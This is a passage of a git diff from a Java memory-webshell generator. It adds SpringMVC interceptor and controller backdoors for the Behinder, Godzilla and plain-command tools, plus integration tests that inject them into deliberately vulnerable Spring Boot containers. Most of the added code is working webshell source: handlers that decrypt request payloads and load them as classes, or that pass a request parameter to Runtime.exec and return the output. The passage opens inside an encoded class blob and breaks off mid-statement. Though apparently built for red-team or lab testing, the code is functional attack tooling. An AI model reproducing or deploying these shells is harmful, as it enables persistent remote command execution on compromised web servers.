AlwcAmAcAlgcAIgAHAJkAAQcAmv8ACwAHBwCGBwCXBwCYBwCWBwAiBwCbBwCZAAD/AE0AAwcAhgcAlwcAmAAAAHkAAAAEAAEAGQAIAJwAWwABAFwAAABLAAIAAAAAACcSULMACRJRswALuwAHWbcACLIACbYACrIAC7YACrYADLgADbMADrEAAAABAF0AAAASAAQAAAAZAAUAGgAKABsAJgAcAAEAnQAAAAIAng=="); + Files.write(Paths.get("xix.class"), bytes); + } + +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java new file mode 100644 index 00000000..04f2b576 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java @@ -0,0 +1,61 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler; +import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor; +import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler; +import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor; +import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler; +import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor; +import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInterceptor; +import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class SpringMVCShell extends AbstractShell { + public static final String INTERCEPTOR = "Interceptor"; + public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor"; + public static final String CONTROLLER_HANDLER = "ControllerHandler"; + public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; + + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla, ShellTool.Behinder); + } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class) + ); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class) + ); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index abf18e28..0b32437f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -33,7 +33,7 @@ public enum Server { /** * SpringMVC 框架 */ - SpringMVC(null), + SpringMVC(new SpringMVCShell()), /** * Spring Webflux 框架 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java index 8ea5fedd..3d8b9a5b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java @@ -12,4 +12,4 @@ public class Base64Packer implements Packer { public String pack(GenerateResult generateResult) { return Base64.encodeBase64String(generateResult.getInjectorBytes()); } -} +} \ No newline at end of file diff --git a/integration-test/build.gradle b/integration-test/build.gradle index b88e1d8f..731874fc 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -52,7 +52,13 @@ idea { } test { - dependsOn ":vul:vul-webapp:war", ":vul:vul-webapp-expression:war", ":vul:vul-webapp-jakarta:war" + dependsOn { + ":vul:vul-webapp:war" + ":vul:vul-webapp-expression:war" + ":vul:vul-webapp-jakarta:war" + ":vul:vul-springboot2:bootJar" + ":vul:vul-springboot3:bootJar" + } useJUnitPlatform() finalizedBy jacocoTestReport } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 97b93958..0320ee1b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -4,6 +4,7 @@ import lombok.extern.slf4j.Slf4j; import org.testcontainers.containers.GenericContainer; import org.testcontainers.utility.MountableFile; +import java.nio.file.Path; import java.nio.file.Paths; /** @@ -15,7 +16,8 @@ public class ContainerTool { public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); - + public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath(); + public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); public static String getUrl(GenericContainer container) { String host = container.getHost(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 66c2aaba..a42e4b17 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.memshell.SpringMVCShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -15,7 +16,7 @@ public class ShellAssertionTool { String shellUrl = url + "/test"; InjectorConfig injectorConfig = new InjectorConfig(); - if (shellType.endsWith(Constants.SERVLET)) { + if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) { String urlPattern = "/" + shellTool + shellType + packer.name(); shellUrl = url + urlPattern; injectorConfig.setUrlPattern(urlPattern); @@ -56,7 +57,7 @@ public class ShellAssertionTool { String behinderPass = "pass"; String behinderHeaderValue = "Behinder" + shellType + packer.name(); BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build(); - log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue); + log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue); String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer); assertInjectIsOk(url, shellType, shellTool, behinderContent, packer); BehinderShellTool.testIsOk(shellUrl, behinderConfig); @@ -64,6 +65,7 @@ public class ShellAssertionTool { } public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + System.out.println(content); switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; @@ -79,6 +81,7 @@ public class ShellAssertionTool { case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content); + case Base64 -> VulTool.postData(url + "/b64", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index fa1171fc..36083ff6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -50,7 +50,7 @@ public class VulTool { .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { -// log.info(response.body().string()); + System.out.println(response.body().string()); Assertions.assertNotEquals(404, response.code()); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java new file mode 100644 index 00000000..616d7df6 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.springmvc; + +import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2ContainerTest { + public static final String imageName = "springboot2"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2Dockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java new file mode 100644 index 00000000..f47b8884 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.springmvc; + +import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot3ContainerTest { + public static final String imageName = "springboot3"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot3Dockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java index e2e485ee..5e678355 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -44,11 +44,7 @@ public class BehinderFilter extends ClassLoader implements Filter { obj.put("request", servletRequest); obj.put("response", response); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine())); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java index 5eabbde3..577fd549 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -32,11 +32,7 @@ public class BehinderServlet extends ClassLoader implements Servlet { obj.put("request", request); obj.put("response", response); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine())); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index a9260afa..e2e00a61 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -84,11 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve { obj.put("request", request); obj.put("response", response); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java new file mode 100644 index 00000000..baf51c04 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.memshell.springmvc.behinder; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class BehinderControllerHandler extends ClassLoader implements Controller { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderControllerHandler(ClassLoader c) { + super(c); + } + + + public BehinderControllerHandler() { + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java new file mode 100644 index 00000000..61e129d2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java @@ -0,0 +1,76 @@ +package com.reajason.javaweb.memshell.springmvc.behinder; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderInterceptor(ClassLoader c) { + super(c); + } + + + public BehinderInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } else { + return true; + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java new file mode 100644 index 00000000..02bd95c4 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memshell.springmvc.command; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class CommandControllerHandler implements Controller { + public String paramName = "{{paramName}}"; + + + public CommandControllerHandler() { + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java new file mode 100644 index 00000000..3a75705b --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memshell.springmvc.command; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class CommandInterceptor implements AsyncHandlerInterceptor { + public String paramName = "{{paramName}}"; + + + public CommandInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return false; + } + } catch (Exception e) { + e.printStackTrace(); + } + return true; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java new file mode 100644 index 00000000..7deaf64e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java @@ -0,0 +1,112 @@ +package com.reajason.javaweb.memshell.springmvc.godzilla; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class GodzillaControllerHandler extends ClassLoader implements Controller { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaControllerHandler() { + } + + public GodzillaControllerHandler(ClassLoader parent) { + super(parent); + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + } + return null; + } + + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new 